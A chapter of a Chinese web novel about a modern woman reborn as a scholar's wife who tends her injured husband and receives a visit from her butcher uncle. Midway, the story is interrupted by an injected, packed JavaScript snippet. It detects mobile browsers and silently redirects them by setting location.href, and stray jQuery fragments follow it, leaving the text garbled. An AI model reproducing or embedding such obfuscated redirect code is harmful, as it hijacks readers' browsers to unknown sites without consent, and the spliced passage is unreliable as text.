12. 第 12 章

作品:《大奸臣的恶毒前妻

    严娇娇脑子里只有这个念头,好不容易帮忙干的事,好像又给办砸了,真是成事不足败事有余。


    袁母知道了会偷偷哭的吧,脑海里闪过那双愁苦的眼睛,心中一慌,也不知道怎么的,手比脑子先动了,她用小碗拨了两个蛋就对着袁松冲过来了。


    袁松死死的盯着她,用眼神警告,可急上头的严娇娇压根不怕,甚至怕他挣扎,一脚踩上去跨坐在他身上,想要按住他。


    袁松脸又气又怒,脸都黑了,眼神冷的能杀死人,两只手紧紧抓住她的手臂,想要把她甩下去。


    碗里汤汁差点撒出来,严娇娇眼看不行,把碗放到一旁,两只手伸长,整个上半身贴了上去,头用力抵在胸口,使出吃奶的劲按住他。


    袁松真是被她的蠢样气笑了,他是断了一条腿,不是瘫在床可以随她摆布,他冷笑:“你下不下去?”


    妄想把他拉下水吗?袁松一眼就看穿了她的意图,想把鸡蛋给自己吃了,毁尸灭迹,当一切没发生过,她怎么还是这样的蠢!


    这么一想,嫌恶漫上心头,果然是装模作样的,人的本性怎么可能改呢!是自己太天真了,竟真以为她改了一些。


    袁松眼中闪过戾气,腿微屈,腰部用力,严娇娇感觉到他腿在动,立刻大声叫嚷:“你别动伤腿,会瘸的,会瘸的,你可就真当不了官了,别动……”


    瘸字戳动了袁松的痛,就这么愣神的功夫,严娇娇眼疾手快,一只手拿过碗,另一只手勒住他脖子。


    强灌吗?


    袁松轻蔑一笑,转过头去,他就算是腿不动,还有手还有头,她以为能制住自己!


    头被用力的扳了回来,他皱眉,开口要训斥,下一瞬,温软贴上了唇,温热的蛋汤顺着灌了进来。


    他意识吞咽了一口,然后反应过来,飞快的推开了她,呛的脸都红了,又想到她的冒犯,两眼冒火!


    “你……”不要脸!


    “无耻之尤!”他咬牙,一字字冷的冻死人。


    严娇娇笑嘻嘻,跟个流氓一样擦了一下嘴巴,嘴唇红润,也不知道嘴上是油光还是……


    袁松眼神暗了下去,慌忙移开视线。


    严娇娇从地上爬起,笑着趴到他床边。


    “反正你已经吃了,我们现在坐一条船上了,我又不是要做什么坏事,只要你当什么都不知道,别说出来就好。”


    她已经想到补救办法了,只是先别让袁母知道而已。


    “你娘知道了,肯定会多想,会忧心,大夫说了,她如今不能多思多虑的……”


    见袁松脸色有所缓和,她继续道:“反正都是鸡蛋,你先帮我瞒着,等明天我去镇上买几个鸡蛋回来偷偷放回去,神不知鬼不觉,反正刘婶的鸡还没抱窝呢。”


    袁松定定看着她,严娇娇坚定点头,比了个封口的收拾:“只要你不说,就不会有人发现。”


    袁母没事应该也不会去看,大不了等下她再布置一下,弄个假象,瞒几天应该是可以的。


    “那是种蛋,不是随便几个鸡蛋就行的。”但她何必弄的这么麻烦呢,不过几个种蛋,娘也不会为此责怪她。


    家里吃的全是她买来的,别说是种蛋,她就是把屋子点了,娘也不敢说什么的。


    他眼神有些复杂。


    严娇娇听他这么说,便当他同意了,立刻直起身子:“那说好了,不许告状。”


    她伸出手掌,袁松不动,严娇娇抓起他的手,强行完成击掌。


    袁松嘴角扯了一下,眼神嫌弃:“无聊。”


    他看了一眼被子上的汤汁,脸黑了,严娇娇嬉笑上前擦了一下:“就一点点,等我空了帮你洗。”


    袁松冷哼一声转过头去,见他不理人,严娇娇无趣地收回手,颇有些尴尬。


    她看了一眼旁边的碗,准备端走。


    “放下”袁松跟后脑勺长眼睛了一样。


    严娇娇:“你要?”不是不吃吗?


    袁松转过头,漆黑的眼珠子盯着她,直看的她有些不自在了。


    “你吃你吃。”严娇娇往他那边推了一下,又出门去帮他拿饭还有筷子。


    袁母回来,果然并没有发现异常,就是严娇娇有些赔了夫人又折兵的感觉。


    鸡蛋被袁松吃了,她还要赔袁母的种蛋,到最后自己什么都没捞着。


    吃过饭,又喝了药,袁母有些发困,便回屋躺一会,严娇娇刚拿出刀准备让严小山帮着磨一下,人却被袁松先叫走了。


    昨日教了一篇文章,今天要考他。。


    既然说是来跟着他读书的,怎么都要学一点东西,不然怎么跟严父交代,他可不是严娇娇,把人家当长工使唤的那么理所当然。


    严小山求救似的看向姐姐,严娇娇却不敢救。


    “不就背一篇书吗?很快的!”


    严小山深深叹口气,姐姐说的轻松,她怎么不来背一背,脚步沉重地去了东屋。


    “姐夫……我还没背熟。”


    屋里传来磕磕巴巴的背书声,倒是袁松耐心十足地反复讲解,严娇娇用指肚轻轻摸了一下刀锋。


    很锋利了!


    真是个榆木脑袋,背了半天才记住十句,就这样,严父还要让儿子读书!


    趁早养几头牛放放吧。


    门口大河声音传来:“婶子,松哥,你们家来客人了!”


    严娇娇站起身,屋里也静了静。


    一个男人的身影站在男人背后,看到严娇娇,黝黑的脸上露出慈爱的笑容。


    “娇娘!”


    严娇娇仪式没有认出眼前人是谁,愣了一会,只能笑笑。


    男人以为她是太意外,并没多想,转头谢过大河:“谢谢啊,小兄弟。”


    “大叔你太客气了,顺路的事情,那我不打搅你们了。”大河对严娇娇颔首,算是打招呼,然后转身走了。


    严小山听到动静走了出来,很是惊喜地过来帮忙拿东西:“舅舅,你怎么来了?”


    王家舅舅摸着外甥的头,又心疼地看向外甥女。


    “我听你娘说,外甥女婿腿伤了,有些担心就过来看看。”


    原来是舅舅!


    原主记忆里外祖家条件算是比较好的,后来外祖去世后,舅父一个人撑起家,日子难了些,加上后来,舅父成家后有了自己孩子,她就去的更少了。


    但印象里,舅父是很疼她的。


    “舅舅。”严娇娇笑着过来领他进屋。


    王家舅舅摸了摸她的头,叹气了一声:“走吧,带我去见见女婿。”


    袁松早就听到外头动静了,整理下衣裳,半躺着等在那,见到王舅父,忙见礼打招呼。


    王舅父细细问了腿的恢复情况,又问了问家中经济,说道:“你这腿还是要快点好,马上就是春耕了,家里就靠娇娇可不行。”


    严娇娇愣了一下,来这边这么久,这还是第一次有人叫她娇娇。


    她觉得分外的亲切,这一刻,她觉得自己还是自己,并没有成为其他人,鼻子有些发酸,她偏过头去。


    袁母听到动静也起来了,有些不好意思:“他舅舅来了,我去做饭!“


    王舅父忙阻拦了:“不用费事了,我是去隔壁村买猪,顺路过来看看,马上就要走了,别麻烦。”


    他吩咐严小山把他带来的东西都拿出来,全是肉,大骨头什么的,快有十来斤了。


    “我听人说,腿断了喝骨头汤顶好,昨日赶集的时候我把骨头都给留下了。”


    袁母看到这么多肉类,有些不好意思,这也太多了,得有几百钱了。


    “我们不能收,也太多了!”


    王舅父道:“都是自家的,你们吃着吧,不够吃了我托人再带点来。”好在如今天气还不是那么热,能放。


    袁母看向严娇娇,希望她说句话。


    严娇娇过去看来一块五花,很是高兴:“今晚可以做红烧肉。”


    她好久没吃过了。


    “娘,您收下吧,等以后我们发达了,再好好孝敬舅舅就是。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553818|204401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    王舅父听了外甥女的话,高兴的很:“是这个理,我还盼着以后老了,她多来看看我这个舅舅。”


    “家里不缺肉,我听阿姐说,亲家母身子骨虚,可要好好补补,不够吃了就让娇娇托人带消息给我。”


    王舅父是屠户,家里要说什么最不缺,那就是肉了。


    王舅父只在家里待了半个时辰,他这还是第一次来袁家,外甥女成婚后,就没怎么跟他来往了。


    之前他寒了心,想着她嫁了人就不认舅舅,也赌着气也不来往,可这次听严母说起袁家的事情,心里又是心疼,还是忍住跑了过来。


    他想着,要是外甥女真和他生分了,他也就跑这一次,尽了亲戚的情分。


    可毕竟是疼了多年的小辈,只看到她的第一眼,心都软了,心里哪还有什么计较。


    “傻孩子,怎么就把日子过成这样了,也不知道早点找舅舅,手上缺多少钱?”


    严娇娇低头,踢着路上的小石子,眼眶发红。


    “舅舅,其实还好,我爹给了不少,我手上还有点钱。”


    王舅父看了她一眼:“你就别替你爹说好话了,你娘都告诉我了。”


    姐夫就是个铁公鸡,从他手里能掏出银钱那才是怪事。


    “真的,皮子我卖了一两多呢,我现在还有钱。”


    王舅父笑着摸了摸她的脑袋,从褡裢里掏出两串钱,看着大概有两百文。


    “先拿着用,别跟舅舅客气,女婿的腿要早点治好,他是读书人,腿坏了可就没指望了,我听人说,县城有个医馆,他们家有治这种伤的药,好的比较快,就是有点贵,你打听打听多少钱,若是你手上银钱不够,舅舅帮你想想办法。”


    总不能真让袁松在床上躺几个月,家里就两个女人,怕是什么都耽搁了!


    他又问了家里田里活现在安排的怎么样了,得知邻居帮忙已经把秧田翻好了,心下点头。


    “忙不过来给舅舅带信。”


    严娇娇笑了,舅舅才是最忙的,家里有活计,平日里还要四处去寻摸猪,哪里有空。


    “舅舅你放心吧,忙不过来我会去找我爹的,而且,还有小山呢。”


    王舅父想到自家外甥那大块头,比一般成年男子都强壮,跟头牛似的,确实派得上用场了。


    严娇娇送舅父到了溪边,王舅父要过溪水去对面村子,便让她先回去。


    溪边没有搭桥,溪水最深处也只没过小腿肚,最浅处直到脚踝,所以当地百姓就在溪中放了些石头,宽的地方需要跳一下,窄的地方寻常跨一下就行。


    王舅父身型偏胖,走的有些滑稽,她没忍住笑,笑着笑着,突然又想哭了,她放手放在嘴边,大声叫了声舅舅。


    王舅父听到外甥女叫,以为有什么正经事,立刻转身,身型还晃了晃。


    “怎么了?”


    “舅舅,路上小心,有空再来看我啊!”


    王舅父咧开嘴笑,很是受用外甥女撒娇。


    “知道了!快回去吧。”他朝她挥手,想了想又交代道:“干活别太累着了,干不动就雇人帮忙,舅舅给你出钱。”


    严娇娇眼泪哗地就留下来了,她低头,眼泪珠子掉进了灰尘里,瞬间不见。


    她有些想舅舅了,是她后世的舅舅。


    这是她来到这里,第一次放任自己去想她那些亲人,她咬住手指,不敢哭出声,她真的……真的好想爸妈,想她的亲人!


    好多次午夜梦回,她都哭湿了枕头,她不敢想,一想心就疼的厉害,自己被困在这个鸟不拉屎的地方,也不知道爸爸妈妈会怎么伤心呢。


    也不知道能不能算工伤,怎么说都是加班后猝死的,大概率不行吧,她死在出租屋呢。


    也不室友发现的时候会不会被吓到。


    她蹲下,画了个圈圈诅咒老板,死资本家,就知道压榨员工,她怎么就来了这里呢,就应该变成恶鬼去吓死他!


    她抬头,两行热泪,这辈子应该是没机会再见到爸妈了吧。